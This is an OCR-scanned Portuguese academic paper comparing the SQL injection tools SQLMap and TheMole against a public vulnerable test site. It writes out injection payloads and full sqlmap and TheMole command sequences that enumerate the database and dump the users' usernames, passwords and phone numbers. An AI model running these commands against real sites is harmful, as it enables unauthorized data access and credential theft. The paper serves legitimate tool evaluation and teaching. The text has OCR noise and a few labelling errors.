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Abstract. Over the years as web applications have become increasingly
accessible and sought after not only as a form of disclosure but also targeting
new ways to secure profits for companies with new types of services like: e-
commerce, e-government . However, these services that use web applications
are vulnerable to attack. This article presents one of the easiest techniques for
attacks on web systems, known as SQL Injection [9]. A comparison was made
between two SQL Injection tools: SQLMap and TheMole. For a comparative
analysis of tools, it is necessary: attack via GET and POST method, Blind SQL
injection, usability and installation.

Resumo. Ao longo dos anos, as aplicacoes web vém se tornando cada vez
mais acessiveis e mais procuradas ndo sé6 como uma forma de divulgagao,
mas também visando novas maneiras de garantir lucros para empresas com
novos tipos de servicos como: e-commerce, e-government. No entanto, esses
servigcos que utilizam aplicacoes web estdo vulnerdveis a sofrer ataques. Esses
ataques podem causar perda de informagées e roubo de dados. Esse artigo
apresenta uma das técnicas mais utilizadas para ataques em sistemas web,
conhecida como SQL Injection [9]. Foi realizado um comparativo entre duas
ferramentas de SQL Injection: SQLMap e TheMole. Para a andlise
comparativa das ferramentas foram utilizadas critérios tais como: ataque via
método GET e POST, Blind SQL injection, usabilidade e instalagoes.

1. Introducao

Atualmente, ha uma crescente dependéncia de aplicativos da web. Quase tudo é
armazenado, disponivel ou comercializado na web. As aplicacdes web estdo muito
presentes no nosso modo de vida e, em nossa economia, € tdo importante que as tornam
um alvo natural para mentes mal-intencionadas que desejam explorar vulnerabilidades.
[23]

Diante desse cendrio, € preciso se prevenir e verificar as vulnerabilidades
presentes em uma aplicacdo web, para isso faz-se necessario o uso de algumas
ferramentas. Mas qual € a melhor ferramenta para avaliacdo das vulnerabilidades? [32].

O SQL Injection, segundo Bandhakavi [6], € uma das principais vulnerabilidades
presentes nas aplicacdes. Isto se deve principalmente, pela falta de cuidado e de
conhecimento durante o desenvolvimento. O ataque pode ser facilmente aplicado em
qualquer tipo de aplicacdo, sem necessidade de nenhum conhecimento avangado.

Este artigo tem por objetivo avaliar duas ferramentas que exploram
vulnerabilidades de SQL injection, o sqlMap e o TheMole, duas das ferramentas
gratuitas mais utilizadas para esse tipo de ataque[28].

O presente artigo estd organizado da seguinte forma: na Secdo 2, é abordado o
referencial tedrico, no qual sdo explicitados maiores detalhes sobre as vulnerabilidades,
os conceitos de SQL injection, tipos de ataques existentes e apresentacdo de alguns
métodos de prevencdo. Na Secdo 3, € apresentada a metodologia utilizada na



comparacdo das ferramentas de SQL injetcion, seguida pela demonstracdo dos
resultados obtidos na comparacao, e por fim as consideragdes finais a respeito do artigo.

2. Referencial Teorico
2.1 Vulnerabilidades

As vulnerabilidades em sistemas web sdo muito comuns, sejam esses sistemas
feitos em qualquer linguagem e utilizando qualquer tecnologia. O problema dessas
vulnerabilidades € que elas podem ser exploradas por qualquer um que tenha por
objetivo, tirar algum proveito. Essas falhas de seguranca podem resultar em prejuizos
financeiros, quando vazam dados criticos ou quando servigos ficam inoperantes. [10]

O aumento do nimero de vulnerabilidades nos sistemas é um dos fatores que
contribuem para impulsionar os incidentes referentes a seguranca das informacdes. Isso
ocorre, pois, muitas vezes, uma vulnerabilidade de seguranca € causada por uma
sequéncia de erros que perduram desde a analise ao desenvolvimento do projeto. Este
cendrio se agrava quando ndo € adotado um ciclo de desenvolvimento de software
seguro. [18]

Segundo pesquisas realizadas pelo Instituto Ponemon [13], aproximadamente
80% das empresas disseram que seus dados ficaram mais vulnerdveis a ataques.
Observando a figura 1, € possivel perceber que a pesquisa relata que 54% dos
participantes da entrevista, afirmaram que a forma de ataque mais comum nos ultimos
12 meses tem sido o SQL Injection, seguido pelo Cross Site Scripting (23% dos casos) e
o Cross Site Request Forgery (XSS).
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Figura 1. Aumento da vulnerabilidade SQL injection em 2015. [13]

As pesquisas realizadas por: Cheng Huang, JiaYong Liu, Yong Fang e Zheng
Zuo [30] mostram que a vulnerabilidade mais comum entre os sites dindmicos
(aplicacdes web) da China € o SQL injection (SQLi). A Figura 2 apresenta uma tabela
que mostra que o percentual de ataques de SQL injection vem aumentando ao longo dos
anos, enquanto outros tipos de ataques estdo diminuindo.



2012 2013 2014 2015

SQL injection 853 (18.82%) 2,099 (25.05%)1 15,792 (50.28%)1 5742 (44.87%)
XSS 770 (16.99%) 1,032 (12.32%) 1,492 (4.75%) 283 (2.21%)
Logic error 561 (12.38%) 1,049 (12.52%)1 1,260 (4.01%) 202 (1.58%)
Sensitive data exposure 559 (12.33%) 607 (7.25%) 1,909 (6.08%) 1,403 (10.96%)1
Broken access control 403 (8.89%) 869 (10.37%)1 1,750 (5.57%) 515 (4.02%)
Command injection 340 (7.5%) 782 (9.33%)1 1,624 (5.17%) 564 (4.41%)
Misconfiguration 277 (6.11%) 65 (4.36%) 1,295 (4.12%) 354 (2.77%)
Hack event 180 (3.97%) 293 (35%) 2,201 (7.01%)1 1,734 (13.55%)1
Weak password 169 (3.73%) 479 (5.72%)1 2,046 (6.51%)1 733 (5.73%)
File upload 168 (3.71%) 314 (3.75%)1 562 (1.79%) 117 (0.91%)
Path traversal 111 (2.45%) 163 (1.95%) 343 (1.09%) 64 (0.5%)
Unvalidated redirects 78 (1.72%) 56 (0.67%) 136 (0.43%) 34 (0.27%)
CSRF 55 (1.21%) 150 (1.79%)1 50 (0.16%) 16 (0.13%)
File include 8 (0.18%) 42 (05%)1 371 (1.18%)1 111 (0.87%)
Other 0 (0.0%) 78 (0.93%)1 575 (1.83%)1 924 (7.22%)1

Figura 2. Aumento da vulnerabilidade SQL injection de 2012 até 2015 em
organizacoes da China. [30]

O OWASP Top 10 [9] € uma lista com as principais vulnerabilidades em
aplicacoes web. Tem como principal objetivo educar quem desenha, arquiteta e
programa aplicagdes web (embora também existam para outros tipos de aplicagdes ou
sistemas).

OWASP Top 10 — 2013 (Previous) OWASP Top 10 — 2017 (New)

Al - Injection Al - Injection

A2 - Broken Authentication and Session Management A2 - Broken Authentication and Session Management

A3 - Cross-Site Scripting (XSS) A3 - Cross-Site Scripting (XSS)

A4 — Insecure Direct Object References - Merged with A7 A4 - Broken Access Control (Original category in 2003/2004)
A5 — Security Misconfiguration A5 — Security Misconfiguration

A6 — Sensitive Data Exposure A6 — Sensitive Data Exposure

A7 — Missing Function Level Access Control - Merged with A4 A7 - Insufficient Attack Protection (NEW)

A8 — Cross-Site Request Forgery (CSRF) A8 - Cross-Site Request Forgery (CSRF)
A9 — Using Components with Known Vulnerabilities A9 - Using Components with Known Vulnerabilities
A10 - Unvalidated Redirects and Forwards - Dropped A10 - Underprotected APIs (NEW)

Figura 3. Atualizacio das principais vulnerabilidades apresentadas OWASP top
10.[9]

A figura 3 mostra as vulnerabilidades com atualiza¢des de 2013 em relacdo a
2017. O Top 10 € atualizado utilizando dados de pesquisas e estatisticas sobre o0s
principais ataques ocorridos pelo mundo.

2.2 SQL injection

O ataque de SQL injection (Structured Query Language) ¢ uma das ameacas
mais importantes para aplicagdes web. Esses ataques sdo lancados por usudrios
especialmente criados em aplicativos da Web que usam operagdes de string de baixo
nivel para construir consultas SQL [6]. Esses ataques sdo baseados na injecdo de strings
em consultas de banco de dados que alteram seu uso pretendido. Isso pode ocorrer se
uma plataforma da Web ndo filtra adequadamente a entrada do usudrio. [33]. Uma
exploragdo de injecdo SQL bem-sucedida pode ler dados confidenciais do banco de
dados, modificar dados do banco de dados (Inserir / Atualizar / Excluir), executar
operacdes de administra¢do no banco de dados (como encerrar o SGBD). [23]

Os ataques de SQL injection podem ser realizados através de vdrias maneiras:
via métodos GET, POST e BLIND SQL Injecion. [29]



2.3 Ataques via método GET

Este método € utilizado quando queremos passar uma informac¢do de uma pégina
para outra, através da URL (barra de enderecos). A figura a seguir mostra uma
requisi¢do utilizando o método GET. [9]

— C 1) | O http://www.umsite.com/?id=3

Figura 4. Exemplo de método GET na barra de enderecos.

No exemplo acima, a informagao passada € cat valendo 3. Um ataque via
método get se aproveita da alteracdo das informacgdes antes do envio.

< C 1} | DO http://umsite.ccom/?id=" or '1'="1
Figura 5. Exemplo de alteracao de variavel utilizando método GET.

Na figura 5, é possivel alterar uma variavel e seu valor antes de uma requisicao,
ou seja, antes que essas informagdes sejam enviadas para outra pagina. Em ambos os
casos, o atacante modifica o valor do parametro 'id' no seu navegador para enviar: 'ou' 1
'=' 1. Isso altera o significado de ambas as consultas para retornar todos os registros da
tabela do banco de dados.

2.4 Ataques via método POST

A grande diferenca entre os métodos GET e POST provavelmente € a visibilidade. Uma
requisicdo GET € enviada como string, anexada a URL, enquanto que a requisi¢ao
POST € encapsulada junto ao corpo da requisi¢do HTTP e ndo pode ser vista. [15]

Exemplos de método POST:

name="formContato" method="POST" action="enviar_email.php">
<p>
Nome: < type="text" name="nome" />< />
E-mail: < type="text" name="email" /><br />
Mensagem: < D
< name="mensagem" id="mensagem" cols="45"
rows="5"></ >
</p>
<p>

< type="submit" name="button" id="button" value="Enviar
Mensagem" />
</p>
</ >

Figura 6. Exemplo de método POST no formulario HTML.O autor.

A imagem acima mostra mensagens sendo enviadas pelo método POST, através de um
formuléario HTML.

Login:
[123
Senha:

*OR'1'="1

Figura 7. Exemplo SQL injection método POST no formulario em uma pagina
web.



Tanto a figura 6 quanto a figura 7 representam exemplos de método POST.
Entretanto, é possivel perceber que a utilizacdo do SQL injection acontece na figura 7,
uma vez que o codigo injetado no campo senha significa que o comando passado nele
faz com que, independente do login e senha digitados, a condi¢do seja sempre
verdadeira, permitindo assim o acesso do usudrio a aplicacdo sem 0 mesmo possuir a
devida permissao.

2.5 Ataques Blind SQL injection

Neste tipo de ataque o teste € realizado ao manipular as varidveis ou valores
presentes no c6digo SQL. Isso pode ser feito ao inserir um cédigo SQL que representa
uma tautologia, trocar nomes de varidveis ou valores.

O Blind SQL injection pode ser usado para testar vulnerabilidades existentes e
encontrar o nome de tabelas no banco de dados. Todas as técnicas sdo baseadas no
"ataque de adivinhacdo", porque existem apenas duas saidas diferentes: Verdadeiro ou
falso. [33]

A figura 8 mostra um exemplo de técnica de injecdo blind sql injection:
C O D www.umsite.com.br
Figura 8. Exemplo de Blind SQL injection.

O exemplo da consulta na figura 8 € o mesmo em relacdo a figura 9, porém a
consulta agora é SQL.

SELECT * FROM nomeDaTabela WHERE cat =3 and 1=0

Figura 9. Exemplo de Blind SQL injection SQL.

No caso da figura 9, a consulta retornard falsa (False), porque “1” € diferente de
zero. Se no lugar do nimero “um” fosse ZERO, logo, a consulta retornaria verdadeiro
(True).

2.6 Métodos de Prevencao

Segundo a norma NBR ISO/IEC 27002 Cdédigo de Pratica para a Gestdo de
Seguranga da Informacdo [26], estabelecer diretrizes e principios gerais para melhorar a
gestdo de seguranga da informacdo em uma organizacdo € essencial para proteger as
informagdes consideradas importantes para a continuidade e manutencdo dos objetivos
de negdcio da organizacado.

O perfil do desenvolvedor nos ultimos anos tem sido modificado. A
preocupacdo com a seguranga deixa de estar em segundo plano e passa a se tornar
requisito de projeto. Portanto, podemos dizer que os grandes trunfos de prevengdo a
SQL injection incidem em boas praticas de prevencdo das aplicagdes. [12].

Algumas praticas podem ser adotadas, como: evitar a exibi¢do das mensagens de
erro contendo informagdes do servidor; estabelecer uma politica de seguranca rigida e
criteriosa, limitando o acesso dos usudrios; fazer uma validacao da entrada de dados nos
formuldrios, impossibilitando entrada de caracteres invalidos como: ('), (--) e (;); limitar
a entrada de texto para o usudrio no formuldrio de entrada de dados; uso de bibliotecas
(APIs) para deteccao de vulnerabilidades entre outras.

3. Metodologia

A metodologia adotada para analise comparativa das ferramentas tem como
finalidade fazer uma comparacido entre duas ferramentas gratuitas automatizadas de



detec¢do de vulnerabilidade SQL injection, visando tempo de execucdo dos ataques,
ataque via métodos GET, POST, Blind SQL injection, instalacdo e usabilidade.

Para a inicializagdo do processo, € importante selecionar as diferentes
ferramentas mais adequadas para estabelecer o ambiente de testes usado neste artigo.
Assim, é importante selecionar o software de virtualizacdo para a criacdo dos ambientes
virtuais, seguindo-se do sistema operativo. Como software de virtualizacdo (maquina
virtual), escolhemos o Oracle VM VirtualBox [14], em relacdo ao sistema operacional
separamos o Kali Linux [31].

As ferramentas de apoio utilizadas foram a Uniscan [17] e WebScarab [32],
cujas principais funcdes foram essenciais para aumentar a cobertura de testes de
vulnerabilidades para aplicagdo web. A ferramenta Uniscan pode ser considerada uma
ferramenta que contribui para a detec¢do de vulnerabilidades, ji que tenta localizar
todos os arquivos e links dentro do site alvo. Sendo assim, utilizamos a ferramenta
Uniscan para trazer respostas sobre possiveis palavras-chave, que serdo utilizadas para o
teste da ferramenta themole (tépico 4.1.3), uma das ferramentas avaliadas. Também
utilizamos a ferramenta Uniscan para detectar possiveis vulnerabilidades de Blind sql
injection (topico 4.3). A ferramenta webscarab foi importante para detectar informacoes
sobre o tipo de método utilizado em relagdo ao envio dos dados. Sendo assim,
utilizamos o Webscarab para fazer testes via método POST conforme o topico 4.1.

Outro fator importante a ser destacado € em relacdo a Selecao da Aplicagao Web
a ser testada. Os testes foram efetuados em uma aplicacdo Web exclusiva para testes de
seguranca disponibilizados pela empresa de seguranga Acutinex disponivel em
http://testphp.vulnWeb.com/. Para a identificacio de um possivel caminho de ataque
utilizamos a ferramenta uniscan, que retornou o seguinte link vulneravel:
“http://testphp vulnweb.com/artists=2". Esse link serd utilizado para fazer os testes de
método GET.

Em relac@o a escolha das ferramentas, seguimos as seguintes regras: ferramentas
automatizadas, com o objetivo de acelerar o processo de teste como forma de diminuir o
trabalho manual; ferramentas sem interface grafica com a utilizagdo de comandos
simples e compreensiveis; ferramentas de livre acesso e facilidade de instalacdo;
ferramentas mais conhecidas em relacdo a ataques. As ferramentas escolhidas foram:
sqlmap e themole.

4. Comparativo das Ferramentas

Essa secdo tem por objetivo realizar a comparacdo das duas ferramentas
selecionadas: SQLmap e Themole, abrangendo todos os teste apresentados na
metodologia descrita no topico 3.

4.1 Ataques via método GET
4.1.2 SQLMAP

Os testes a partir de agora serdo feitos através da ferramenta automatica SQLmap
com a finalidade de acessar registros do banco de dados. Para isso, injetamos o
comando mostrado na Figura 10.

:~# sqlmap -u http://testphp.vulnweb.com/artist=2 --dbs

Figura 10. Comando para fazer busca da base de dados. O autor.

O argumento -u indica a URL do endereco do alvo juntamente com o parametro
a ser explorado na aplicagdo Web. O argumento --dbs indica para a ferramenta buscar
todas as bases de dados existentes no dominio.

A ferramenta SQL nos retornou os nomes dos bancos de dados: Acuart e
Information_schema, conforme podemos perceber na figura 11.



available databases [2]:
[*] acuart
[¥] information schema

Figura 11. Nome dos bancos de dados. O autor.

Como o banco de dados information_schemas é padrao do MySQL(sistema de
gerenciamento de banco de dados), prosseguimos os testes com o banco de dados
acuart. Para o préximo passo, foi necessdrio saber o nome das tabelas existentes no
banco de dados acuart. Sendo assim, utilizamos o comando de acordo com a Fig 11.

:~# sqlmap -u http://testphp.vulnweb.com/artist=2 -D acuart --tables

Figura 12. Comando para buscar nomes das tabelas dentro do banco de dados
acuart. O autor.

O argumento -D indica o alvo que foi explorado, ou seja, o banco de dados
acuart € o argumento --fables indica para a ferramenta listar todas as tabelas existentes
no banco de dados.

Database: acuart
[8 tables]

artists
carts
categ
featured
guestbook
pictures
products

Figura 13. Nomes das tabelas existentes no banco acuart. O autor.

Analisando a Figura 13, é possivel perceber que a ferramenta trouxe como
resultado todos os nomes das tabelas existentes dentro do banco de dados acuart.

O passo sucessor € identificar as colunas existentes dentro das tabelas.
Escolhemos a tabelas user (usudrio) para que possamos continuar com O processo €
obter informacdes mais aprofundadas em relacdo a base de dados acuart, conforme o
comando exibido na figura 14.

:~# sqlmap -u http://testphp.vulnweb.com/artist=2 -D acuart -T users --columns

Figura 14. Comando para buscar nomes das colunas dentro da tabela users. O
autor.

O argumento -T indica a tabela do banco de dados a ser listada juntamente com
o argumento --columns que indica a listagem das colunas da tabela.



Database: acuart
Table: users
[8 columns]

address mediumtext
cart varchar(100)
cc varchar(100)
email varchar(100)
name varchar(100)
pass varchar(100)
phone varchar(100)
varchar(100)

Figura 15. Resultado dos nomes das colunas existentes no dentro da tabela
users. O autor.

Para finalizar o processo, foi necessario obtermos informacdes sobre qual dado
do usudrio queriamos ter acesso. Optamos por saber o nome, a senha e login. Para isso,
o comando da imagem abaixo foi adequado para obtermos essas informagoes.

:~# sqlmap -u http://testphp.vulnweb.com/artist=2 -D acuart -T users -C uname,pass,name --dump

Figura 16. Comando para buscar nomes das colunas dentro da tabela users. O
autor.

De posse de todas as informagdes da estrutura do banco de dados por meio das
injecOes anteriores, podemos agora fazer um despejo (dump) dos dados desejados. Para
a demonstracdo, foi utilizada a tabela users onde estao os dados dos usudrios do sistema
como login, senha e nome.

Database: acuart
Table: users
[1 entry]

Figura 17. Resultado das informacdes pessoais do usuario. O autor.

Como podemos observar na Figura 17, a ferramenta sglmap foi eficiente ao
conseguir alcangar todas as informacdes possiveis de usudrios registrados no banco de
dados a partir do método GET.

4.1.3 THEMOLE

Essa ferramenta apresenta um uso um pouco diferente da sglmap. No terminal
do Kali Linux, digitamos o comando themole para que a ferramenta seja inicializada,
conforme a Figura 18. Para iniciar o processo de teste, precisamos fornecer para a
ferramenta duas informacdes iniciais, que sdo: url e needle. A url é o endereco do site
que queremos fazer o ataque e o needle é uma palavra-chave existente no site (Figura
20). Como ndo temos conhecimento sobre qual é a palavra chave, utilizamos a
ferramenta chamada uniscan conforme explicado na metodologia. As palavras-chave
encontradas pela ferramenta foram: consectetuer e aliquam (figura 19).



:~# themole

Developed by Nasel(http://www.nasel.com.ar).
Published under GPLv3.
Be efficient and have fun!

Figura 18. Inicio da ferramenta themole. O autor.

A Figura 18 tem como objetivos mostrar como fazer a inicializagdo da ferramenta
themole, para isso basta digitar o comando themole no terminal do kali Linux.

Keyword: consectetuer
Vul [Blind SQL-i]: htty

Keyword: aliquam

Figura 19. Palavras chaves encontradas pela ferramenta Uniscan. O autor.

Selecionamos a palavra aliqguam para fazer o teste. Em primeiro lugar,
preenchemos as informacgdes url, needle e depois digitamos schemas para encontrar a
base de dados, conforme a Figura 20.

#> url http://testphp.vulnweb.com/artists.php?artist=2

#> needle aliquam
#> schemas

Figura 20. Comando para encontrar banco de dados. O autor.

Figura 21. Imagem das informacoes do banco de dados. O autor.

De acordo com a imagem acima € possivel perceber que a ferramenta themole
também encontrou os resultados referentes ao banco de dados acuart, com a utilizagao
de comandos simples. Logo, para descobrimos as tabelas contidas no banco de dados
acuart, escrevemos o comando abaixo:

#> tables acuart

Figura 22. Comando utilizado para buscar tabelas dentro da base de dados
acuart. O autor.

A palavra tables refere-se ao argumento utilizado para buscar todas as tabelas do
banco de dados.



#> tables acuart
[+] Rows: 8

artists
carts
categ
featured
guestbook
pictures
products
users

Figura 23. Nomes das tabelas existentes no banco de dados acuart. O autor.

O préximo comando utilizado foi responsavel por trazer todas as colunas da
tabela usudrio users. Esse comando pode ser mais bem visualizado analisando a Figura

24.
#> columns acuart users

Figura 24. Comando utilizado para obter as colunas existentes na tabela de
usuarios. O autor.

O argumento columns refere-se as colunas existentes do banco de dados.
Informamos o comando da Figura 24 para a ferramenta e ela traz como resultado todas
as colunas do banco de dados acuart da tabela users.

#> columns acuart users
[+] Rows: 8

address
cart

cc
email

name
pass
phone
uname

Figura 25. Imagem das colunas da tabela users. O autor.

Para finalizar, € necessdrio fazer uso do comando query seguido dos campos
encontrados na tabela users (Figura 25). Sendo assim, escolhemos um dos campos mais
importantes utilizados pelos hackers. Esses sdo: uname (usudrio), name (nome) € pass
(senha), conforme a Figura 26.



#> query acuart users uname,name,pass
[+] Rows: 1

Figura 26. Resultado das informacdes pessoais do usuario. O autor.

Observando as imagens acima podemos perceber que tanto a ferramenta
SQLmap quanto a ferramenta Themole foram capazes de chegar ao mesmo resultado
utilizando o método GET.

4.1 Ataques via método POST

Para a realizagdo dos testes utilizando o método POST, foi necessdrio uma
ferramenta de scanner chamada webScarab. Com esse software é possivel identificar
como os formularios sdo enviados: método GET ou método POST. Dessa maneira, o
WebScarab trouxe dados (ou resultados) que confirmam que as informagdes estdo sendo
enviadas pelo método POST. Além de trazer outras informag¢des, como nome do
dominio e nimero da porta usada, como mostra a figura 21. Sendo assim, foi preciso
criar um arquivo com extensao .txt, com todas as informagdes descritas pelo webscarab,
conforme informagdes abaixo.

POST htp:/testphp.vulnweb.com/artists.php?artists=2 HTTP/1.1

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:54 Gecko/20100101) Firefox/54.0
Accept: texthtml application/xhtml+xml application/xml;q=0.9,%*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-length: 20

Referer: http:/testphp.vulwev.com/login.php

DNT: 1

Connection: keep-alive

Upgrade-Insecure-Request: 1

llll(IIIISZY(‘WSP(ISS:YGSI

Figura 27. Requisicao método POST encontradas pela ferramenta WebScarab.O
autor.

4.2.1 SQLMAP

Para a realizacdo do proximo passo, utilizamos o arquivo criado com nome
POST .txt. Entao, aplicamos um comando apropriado para encontrarmos a base de dados
no site vulnweb utilizando o método POST. Esse comando pode ser visto na Figura 28.

:~# sqlmap -r ~/POST.txt -p uname --dbs

Figura 28. Comando para encontrar a base de dados. O autor.



O comando —r € utilizado para identificacdo do nome do arquivo com extensao
.txt, nesse caso POST, e o argumento —p serve para identificacdo do nome da pasta,
nesse caso uname. O sqlmap retornou como resultado o nome de duas bases de dados
acuart e information_schema, conforme os testes anteriores. E possivel verificar os
nomes das tabelas através da figura 24.

available databases [2]:
[*] acuart

[*] information_schema

Figura 29. Nomes das bases de dados método POST. O autor.

Logo, o passo seguinte foi encontrar as tabelas existentes dentro da base de
dados acuart. Portanto, utilizamos o comando mostrado na figura abaixo.

:~# sqlmap -r ~/POST. txt - uname -D acuart --tables

Figura 30. Comando para encontrar as tabelas do banco acuart. O autor.

Database: acuart
[8 tables]

<+
| artists

| carts

| categ

| featured
| guestbook
| pictures
| products
I

+

Figura 31. Nomes das tabelas do banco acuart. O autor.

A figura 31 mostra todos os nomes referentes as tabelas do banco de dados
acuart. Dando prosseguimento aos testes, agora o objetivo € encontrar as colunas dentro
da tabela users (tabela escolhida nos testes anteriores). Para isso, utilizamos o comando
conforme a Figura 32.

:~# sqlmap -r ~/POST.txt -p uname -D acuart -T users --columns

Figura 32. Comando para localizar as colunas da tabela users. O autor.

Os resultados dos nomes das colunas da tabela users (usuarios) foram: address,
cart, cc, email, name, pass, phone e uname,como demonstra a Figura 33.

Database: acuart

Table: users

[8 columns]

deoceemeenn +
Column

I I
address mediumtext
cart varchar(100)

cc varchar(100)
email varchar(1600)
name varchar(100)
pass varchar(1600)
phone varchar(100)

varchar(100)

Figura 33. Colunas da tabela users. O autor.



Para finalizar os testes com a ferramenta sqlmap utilizando o método POST, foi
empregado o comando mostrado na figura 34, para acessar todas as informacgdes
pessoais dos usudrios.

:~# sqlmap -r ~/POST.txt -p uname -D acuart -T users -C name,pass,uname --dump

Figura 34. Comando para acessar informacdes pessoais do usuario. O autor.

Database: acuart
Table: users

+

Figura 35. Informacoes pessoais de usuario. O autor.

Como resultado, a ferramenta sqlmap trouxe exatamente as informacoes
pessoais do usudrio selecionadas como: uname (usudrio), pass (senha) e name (nome).
Com essas informacoes, € possivel ter acesso a area restrita de usudrios dentro do site e
fazer quaisquer alteracdes, como: excluir nome, alterar nome, alterar endereco entre
outros campos.

4.2.2 THEMOLE

O themole ndo foi capaz de detectar vulnerabilidades utilizando o método POST,
pois com essa ferramenta os tipos de testes suportados para SQL injection sdo: testes de
unido, testes blind SQL injection e método GET. [27]

4.3 Ataques Blind SQL injection

Para a realizacdao dos testes BLIND SQL injection, utilizamos a ferramenta
Uniscan para detectar possiveis falhas BLIND. O resultado da ferramenta pode ser
observado na figura 36, que traz todos os links como possibilidades de vulnerabilidades
BLIND.

Blind SQL Injection:

[+] Vul [Blind SQL-i]: http://testphp.vulnweb.com/listproducts.php?cat=2+AND+1=1
Keyword: consectetuer
Vul [Blind SQL-i]: http://testphp.vulnweb.com/artists.php?artist=1+AND+1=1
Keyword: consectetuer
Vul [Blind SQL-i]: http://testphp.vulnweb.com/artists.php?artist=2+AND+1=1
Keyword: consectetuer
Vul [Blind SQL-i]: http://testphp.vulnweb.com/artists.php?artist=3+AND+1=1
Keyword: consectetuer
Vul [Blind SQL-i]: http://testphp.vulnweb.com/listproducts.php?cat=1+AND+1=1
Keyword: consectetuer
Vul [Blind SQL-i]: http://testphp.vulnweb.com/product.php?pic=6+AND+1=1
Keyword: consectetuer
Vul [Blind SQL-i]: http://testphp.vulnweb.com/product.php?pic=1+AND+1=1
Keyword: consectetuer
Vul [Blind SQL-i]: http://testphp.vulnweb.com/product.php?pic=2+AND+1=1
Keyword: aliquam
Vul [Blind SQL-i]: http://testphp.vulnweb.com/product.php?pic=4+AND+1=1
Keyword: consectetuer
Vul [Blind SQL-i]: http://testphp.vulnweb.com/product.php?pic=3+AND+1=1
Keyword: aliquam
vul [Blind SQL-i]: http://testphp.vulnweb.com/product.php?pic=5+AND+1=1
Keyword: consectetuer
Vul [Blind SQL-i]: http://testphp.vulnweb.com/listproducts.php?artist=1+AND+1=1
Keyword: consectetuer

Figura 36. Resultados de vulnerabilidades Blind SQL injection ferramenta
Uniscan. O autor.

4.3.1 SQLMAP

Com todas essas possibilidades de vulnerabilidades que a ferramenta Uniscan
detectou no site vulnweb, selecionou-se o primeiro link da figura 37. A partir disso,
usamos o comando da imagem abaixo para acessar o banco de dados.

:~# sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=2+AND+1=1 --dbs

Figura 37. Comando para acessar banco de dados utilizando BLIND SQL
injecion. O autor.



available databases [2]:

[*] acuart
[*] information schema

Figura 38. Imagem de informacoes de banco de dados utilizando Blind SQL. O
autor.

O passo seguinte foi encontrar as tabelas do banco acuart pela técnica BLIND.
Para isso, usamos o comando da figura 39.

:~# sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=2+AND+1=1 -D acuart --tables

Figura 39. Comando para encontrar as tabelas do banco de dados acuart. O autor.

Database: acuart
[8 tables]

artists
carts
categ
featured
guestbook
pictures
products

Figura 40. Nomes das tabelas do banco de dados acuart teste BLIND SQL injection.
O autor.

Para encontrar as colunas de tabela users (usuarios) pela técnica Blind,
utilizamos o comando da figura 41. O resultado obtido por esse comando pode ser
observado na figura 42.

:~# sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=2+AND+1=1 -D acuart -T users --columns

Figura 41. Comando para encontrar as colunas da tabela users. O autor.

Database: acuart
Table: users
[8 columns]
R +
Column |
e +
address | mediumtext
cart | varchar(160)
cc | varchar(160)
email | varchar(160)
name | varchar(100)
pass | varchar(160)
phone | varchar(160)
| varchar(160)
+

Figura 42. Informacdes dos nomes das colunas das tabelas users método BLIND. O
autor.

Para ter acesso a informacdes pessoais dos usudrios utilizando o BLIND SQL
injection lancamos mao do comando mostrado na figura 43.

:~# sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=2+AND+1=1 -D acuart -T users -C name,pass

,uname,phone --dump

Figura 43. Comando para encontrar informacdées pessoais de usuarios. O autor.



Database: acuart
1 users

| <blank> |
$eccccnene +

Figura 44. Resultado final de informacoes de usuarios método BLIND. O autor.

Analisando a figura 44, percebese que foi possivel obter informacdes do name
(usudrio), pass (senha), uname (usudrio) e phone (telefone).

4.3.2 TheMole

Para a deteccdo de vulnerabilidades usando a ferramenta THEMOLE, basta
somente escrevermos o comando mode blind depois de acharmos os nomes das colunas
com os nomes dos campos escolhidos: uname e pass, conforme exemplo da Figura 45.

address
cart

cc
email
name
pass
phone

#> modo blind

-] Error: modo is not a valid command
#> mode blind

> query acuart users uname,pass

Figura 46. Resultado do comando blind. O autor.

Como podemos observar na figura 46, a ferramenta TheMole encontrou os
valores referentes as varidveis uname e pass que representam informacoes pessoais de
usuarios.

5. Analise das ferramentas selecionadas

Para melhor compreensdao da anédlise das ferramentas sqlmap e TheMole,
classificamos os tipos de testes. A classificagdo das vulnerabilidades pode ser vista na
Figura 40.



SQLMAP | THEMOLE
Ataque via método GET X X
Ataque via método POST X
BLIND SQL injection X X
INSTALACAO X
USABILIDADE X

Tabela 47. Analise para comparacao de ferramentas. O autor.

Pode-se perceber que tanto a ferramenta sqlmap quanto a ferramenta themole
foram capazes de realizar quase todos os testes estabelecidos na metodologia. Observa-
se que a ferramenta sglmap foi apta para realizar todos os testes relacionados a SQL
injection, porém ndo conseguiu atingir eficiéncia na facilidade de uso ja que os
comandos utilizados sdo considerados extensos € complexos para entendimento. Em
relacdo ao themole percebe-se que ela ndo consegue fazer os testes de ataques via
método POST, pois ela é desenvolvida para explorar as injecdoes baseadas em unido,
BLIND SQL injection entre outros, mas ndo ¢ apropriada para detec¢do de
vulnerabilidade de método POST. Outro fator importante € em relacdo a ferramenta
themole que nao obteve sucesso no item de instalacdo, pois para a utilizagdo da mesma
foi necessario uma instalac@o no sistema operacional Kali Linux.

5. Consideracoes finais

A metodologia apresentada torna-se eficiente, considerando que as duas
ferramentas avaliadas foram capazes de passar em quase todos os testes estabelecidos
pela metodologia. E importante destacar que a ferramenta sq/map obteve maior sucesso
em ralacdo a ferramenta themole. O sqlmap deixou de realizar apenas um teste
(facilidade de uso) que tinha por objetivo a utilizacdo e comandos simples. J4 com a
ferramenta themole ndo foi possivel obter efici€éncia em relagdo aos testes de ataques via
método POST e instalacdo.

Sendo assim, podemos dizer que este artigo ressaltou que € possivel explorar as
vulnerabilidades com certa facilidade, utilizando ferramentas livres e com pouco
conhecimento técnico. Além disso, apresentou uma metodologia de testes langando mao
de critérios baseados em uma das vulnerabilidades mais conhecidas como o SQL
injection. O recurso a ferramentas gratuitas automdticas para deteccdo de
vulnerabilidades facilita o trabalho dos desenvolvedores e possibilita ter uma aplicacdo
web mais segura. Outro fator importante a ser considerado é que com a metodologia
estabelecida € possivel obter maior facilidade para escolher uma ferramenta apropriada
